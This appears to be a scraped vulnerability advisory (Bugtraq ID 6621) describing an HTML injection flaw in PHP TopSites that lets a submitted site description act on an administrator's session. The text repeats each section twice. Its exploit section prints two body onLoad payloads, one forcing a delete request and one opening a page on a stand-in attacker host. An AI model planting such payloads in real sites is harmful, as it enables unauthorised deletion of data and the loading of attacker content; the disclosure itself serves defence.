PHP TopSites HTML Injection Vulnerability
BID:6621
Info
PHP TopSites HTML Injection Vulnerability
| Bugtraq ID: | 6621 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 15 2003 12:00AM |
| Updated: | Jan 15 2003 12:00AM |
| Credit: | The discovery of this vulnerability has been credited to the Cyberarmy Application and Code Auditing Team. |
| Vulnerable: |
iTop10 PHP TopSites Pro 2.2 iTop10 PHP TopSites Free 2.0 B |
| Not Vulnerable: | |
Discussion
PHP TopSites HTML Injection Vulnerability
An HTML injection vulnerability has been discovered in PHP TopSites. The issue occurs due to insufficient sanitization of user-supplied data. By injecting HTML code into the <body> tag of the description page, when submitting website, it may be possible to cause an administrator to edit or delete database entries.
This issue will occur when an unsuspecting administrator loads the submitted description.
This vulnerability has also been reported to affect the 'edit.php' script.
An HTML injection vulnerability has been discovered in PHP TopSites. The issue occurs due to insufficient sanitization of user-supplied data. By injecting HTML code into the <body> tag of the description page, when submitting website, it may be possible to cause an administrator to edit or delete database entries.
This issue will occur when an unsuspecting administrator loads the submitted description.
This vulnerability has also been reported to affect the 'edit.php' script.
Exploit / POC
PHP TopSites HTML Injection Vulnerability
The following proof of concepts have been made available:
<body
onLoad= "parent.location='http://www.somewebsite.com/TopSitesdirectory/seditor.php?
sid=siteidnumber&a=delete'">
<body onLoad="window.open('http://attackerswebsite/launcher.htm')">
The following proof of concepts have been made available:
<body
onLoad= "parent.location='http://www.somewebsite.com/TopSitesdirectory/seditor.php?
sid=siteidnumber&a=delete'">
<body onLoad="window.open('http://attackerswebsite/launcher.htm')">
Solution / Fix
PHP TopSites HTML Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PHP TopSites HTML Injection Vulnerability
References:
References:
- Multiple PHP Topsites Vulnerabities found (Cyberarmy Application and Code Auditing Team
- PHP Topsites edit.php Code Injection vulnerability. (Cyberarmy Application and Code Auditing Team